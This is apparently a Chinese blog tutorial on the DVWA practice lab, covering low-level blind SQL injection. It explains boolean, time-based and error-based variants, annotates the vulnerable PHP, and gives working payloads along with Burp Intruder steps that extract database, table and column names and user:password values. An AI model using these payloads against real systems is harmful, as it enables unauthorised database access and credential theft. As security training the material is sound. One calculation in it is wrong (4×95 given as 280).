DVWA靶场保姆级通关教程--08SQL盲注(上)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
-
目录
文章目录
前言
类比:SQL盲注就像和“机器人女友”猜秘密
对应SQL盲注:
SQL盲注常见类型:
语句原文:
拆解讲解
1. ' AND ... --
2. updatexml(1, concat(0x7e, (SELECT database())), 1)
updatexml(XPath_target, XPath_expression, XPath_value)
concat(0x7e, (SELECT database()))
一、low级别的源码分析
安全问题说明:
注入示例:
理解布尔盲注(Boolean-Based Blind SQL Injection)是什么?
具体来看你的 DVWA 示例:
✅ 测试1:?id=1' and 1=1 --
❌ 测试2:?id=1' and 1=2 --
总结
二、使用bp辅助SQL注入
猜解库名的字段长度,猜解库名
猜解表长度,然后猜解表名
猜解字段长度和字段名:
猜解字段值
前言
SQL盲注(SQL Blind Injection)是一种特殊类型的SQL注入攻击,其本质仍是通过构造恶意SQL语句操控后台数据库,但与普通SQL注入不同的是:
在SQL盲注中,页面不会返回明显的数据库错误信息或查询结果。
攻击者只能通过观察应用程序响应的细微差异(如页面是否跳转、是否显示某个提示、响应时间长短等)来判断注入是否成功,从而一点一点“猜”出数据库中的信息。
类比:SQL盲注就像和“机器人女友”猜秘密
想象你有一个机器人女友,她程序设定得很严谨:
-
她不会直接告诉你秘密;
-
也不会提供任何线索或提示;
-
她的回答只有两个字:“是” 或 “不是”。
于是你开始怀疑她藏了一个秘密,比如她日记里藏了某个名字,你很想知道是谁。你只能这样问她:
“你藏的第一个字母是 A 吗?”
她回答:“不是。”“那是 B 吗?”
她回答:“是。”
你就知道,第一个字母是 B。然后你继续问第二个字母、第三个字母……
一次次靠“是”与“不是”的回答,一点一点把她的秘密拼出来。
对应SQL盲注:
类比内容 | 实际含义 |
---|---|
机器人女友 | 被注入的Web系统 |
是/不是 | 页面是否跳转、响应时间是否延迟等 |
一位位猜字母 | 猜字段名、表名、数据值的每一位字符 |
她不告诉你内容 | 页面没有错误信息或查询结果 |
你靠问问题来猜 | 构造SQL语句来判断真假 |
SQL盲注常见类型:
类型 | 特点 | 示例 |
---|---|---|
布尔型盲注 | 通过判断页面响应是否变化(true/false)推断数据 | ' AND SUBSTRING((SELECT database()),1,1)='m' -- |
时间型盲注 | 利用数据库延时函数(如 sleep )判断条件真假 | ' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) -- |
基于错误的盲注 | 尝试触发语法错误或类型转换错误判断是否可注入 | ' AND updatexml(1,concat(0x7e,(SELECT database())),1) -- |
基于错误的盲注 尝试触发语法错误或类型转换错误判断是否可注入 ' AND updatexml(1,concat(0x7e,(SELECT database())),1) -- 具体说说这个语句
语句原文:
' AND updatexml(1, concat(0x7e, (SELECT database())), 1) --
这是一个基于错误回显的SQL盲注语句,它的目标是:触发数据库的错误信息来泄露敏感数据(比如当前数据库名)。
拆解讲解
1. ' AND ... --
-
单引号
'
用于闭合原有的SQL语句。 -
AND
用来拼接一个额外的SQL语句。 -
--
是SQL中的注释符,表示后面的内容都不会被执行(用来注释掉原来的尾部语句,防止语法错误)。
例如原始语句可能是:
SELECT * FROM users WHERE username = '$input'
输入了 ' AND ... --
后,变成:
SELECT * FROM users WHERE username = '' AND updatexml(...) -- '
2. updatexml(1, concat(0x7e, (SELECT database())), 1)
这个函数组合才是核心:
updatexml(XPath_target, XPath_expression, XPath_value)
是MySQL中的一个XML函数,本意是更新XML文档中的内容,但当语法错误时,MySQL会抛出异常,并把错误信息回显在页面中。
concat(0x7e, (SELECT database()))
-
0x7e
是十六进制的~
字符。 -
SELECT database()
会返回当前数据库的名称。 -
concat(...)
拼接成~my_database_name
这样的字符串。
当这个拼接结果作为 updatexml
的 XPath 表达式时,就会因为格式不合法而抛出错误:
ERROR: XPATH syntax error: '~my_database_name'
正是这个 错误信息 把数据库名“偷偷暴露”了出来!
一、low级别的源码分析
<?php// 判断是否通过GET方式提交了表单(是否点击了Submit按钮)
if( isset( $_GET[ 'Submit' ] ) ) {// 获取用户提交的id参数$id = $_GET[ 'id' ];// 构造SQL语句,将用户输入直接拼接到SQL语句中(存在SQL注入风险)$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";// 执行SQL查询,查询结果赋值给$result;注释掉了'or die',以防止数据库错误信息泄露(但仍然存在注入风险)$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// 获取返回结果的行数,用来判断是否查询到了数据;使用@符号抑制错误信息$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors// 如果返回行数大于0,说明用户ID存在if( $num > 0 ) {// 给用户的反馈:ID存在echo '<pre>User ID exists in the database.</pre>';}else {// 如果没找到对应用户,则返回404状态码header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// 给用户的反馈:ID不存在echo '<pre>User ID is MISSING from the database.</pre>';}// 关闭数据库连接((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
安全问题说明:
-
用户输入未经过任何过滤或转义,直接拼接进 SQL 语句,是典型的 SQL盲注(Blind SQL Injection) 场景。
-
因为没有显示返回查询结果,只通过“ID是否存在”的提示来反馈判断结果,因此是布尔型盲注(Boolean-based Blind Injection)。
-
适合用
and 1=1
,and 1=2
等布尔逻辑语句进行注入测试。
注入示例:
这里用--测试,会失败,都是提示MISSING,那么相到--是注释,#也是注释,所以这里将--替换为#测试
输入ID参数 | 实际SQL语句 | 说明 |
---|---|---|
'1' and 1=1 -- | user_id = ''1' and 1=1 -- ' | 语法错误(引号嵌套了) |
1' and 1=1 -- ✅ | user_id = '1' and 1=1 -- ' | 正确(注入闭合了前面的引号) |
1' and 1=2 -- ✅ | user_id = '1' and 1=2 -- ' | 正确(用于布尔盲注测试) |
观察上面两个页面的输出,能够看到这是典型的布尔型注入:
下面说一下布尔型注入的逻辑理解:
理解布尔盲注(Boolean-Based Blind SQL Injection)是什么?
布尔盲注不是直接获取数据库数据,而是通过页面返回的“真假状态”来判断 SQL 条件是否生效。
我们利用的是:
✅ 如果 SQL 条件为真 → 页面返回正常内容
❌ 如果 SQL 条件为假 → 页面返回错误提示或不同的响应
具体来看你的 DVWA 示例:
原始 SQL:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
比如你输入:
?id=1
SQL 实际变为:
SELECT first_name, last_name FROM users WHERE user_id = '1';
数据库中有 user_id = 1,页面显示:
User ID exists in the database.
User ID exists in the database.
测试1:?id=1' and 1=1 --
这个 payload 拼接后变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 -- ';
注意这里:
-
'1' and 1=1
恒为真 -
SQL 没有语法错误(成功闭合)
-
如果有 user_id = 1,就会返回“User ID exists…”
所以你看到的是:页面正常 → 条件为真 → 注入成功
测试2:?id=1' and 1=2 --
SQL 变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 -- ';
这里:
-
1=2
恒为假 -
即使 user_id = 1 存在,但
1 and false
为假 -
整个
WHERE
条件失败,没有记录被查询出来
所以你看到的是:页面提示“User ID is MISSING” → 条件为假 → 注入成功
总结
Payload | SQL效果 | 返回结果 | 判断 |
---|---|---|---|
?id=1' and 1=1 -- | user_id = '1' and 1=1 → 恒为真 | User ID exists | 注入成功,逻辑为真 |
?id=1' and 1=2 -- | user_id = '1' and 1=2 → 恒为假 | User ID is MISSING | 注入成功,逻辑为假 |
通过这两次请求,你证明了你可以控制SQL语句的布尔条件判断,这就是布尔盲注的核心。
二、使用bp辅助SQL注入
1.判断注入点
2.猜解库名的字符长度,猜解库名
3.猜解表名的字符长度,猜解表名
4.猜解字段名的字符长度,猜解字段名
5.猜解字段值的字符长度,猜解字段值
猜解库名的字段长度,猜解库名
输入:1' and length(database())=n #
输入之后点击submit提交之前,开启抓包,发送给攻击模块,发现对我们提交的请求进行的了编码
将n添加为变量,点击n,点击add添加,就用sniper的攻击模式,呈现结果如下图所示:
设置pyload类型、范围和步长
点击开始攻击===》length排序===》发现数据库名的字符长度是4
那么接下来就是猜解具体的库名,当然可以一个一个字母或者可打印字符的去猜,但是这样猜效率太低,通常是转换成ASCII码去猜,猜解ASCII码的可打印字符范围32-126,设置步长是1
输入:1' and ord(substr(database(),m,1))=n #
开启抓包===》发送给攻击模块===》clear===》add(将m和n添加为变量)===》攻击模式选择集束炸弹
m是库名的取值范围就是:1-4
n是ASCII码可打印字符的范围:32-126,步长为1(共95个可打印字符)
猜解次数=4*95=280次 #每一个位置都要猜解95次,得到这个位的正确的字符
将结果复制到Excel表,删除其他行只保留位置和对应的ASCII码行
选中位置点击排序===》按升序排序===》扩展选定区域
复制ASCII编码以及后面的空列
利用工具或者ai等、批量解码ASCII可以得到数据库名字是“dvwa”,
网址:https://www.toolnb.com/tools/asciiTools.html
猜解表长度,然后猜解表名
输入:1' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'), m, 1))=n #
上面的语句省略了一个length猜解表长度,步骤同上
同上查询结果
得到表名:guestbook,users
猜解字段长度和字段名:
输入:1' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'), m, 1))=n #
这里得到了所有的字段名
猜解字段值
输入:1' and ord(substr((select group_concat(user,':',password) from users),m,1))=n #
或者查指定库名.表名
1' and ord(substr((select group_concat(user,':',password) from dvwa.users), m, 1)) = n #
这个语法没问题,但是试了几次都没有得到正确的结果,大家可以自行尝试,得到结果欢迎留言,下期带来用SQLmap自动化注入,low和medium和high的练习